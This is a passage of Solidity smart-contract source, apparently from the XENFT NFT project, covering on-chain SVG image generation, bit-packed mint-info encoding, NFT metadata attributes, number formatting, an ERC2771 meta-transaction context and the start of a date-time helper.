0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", 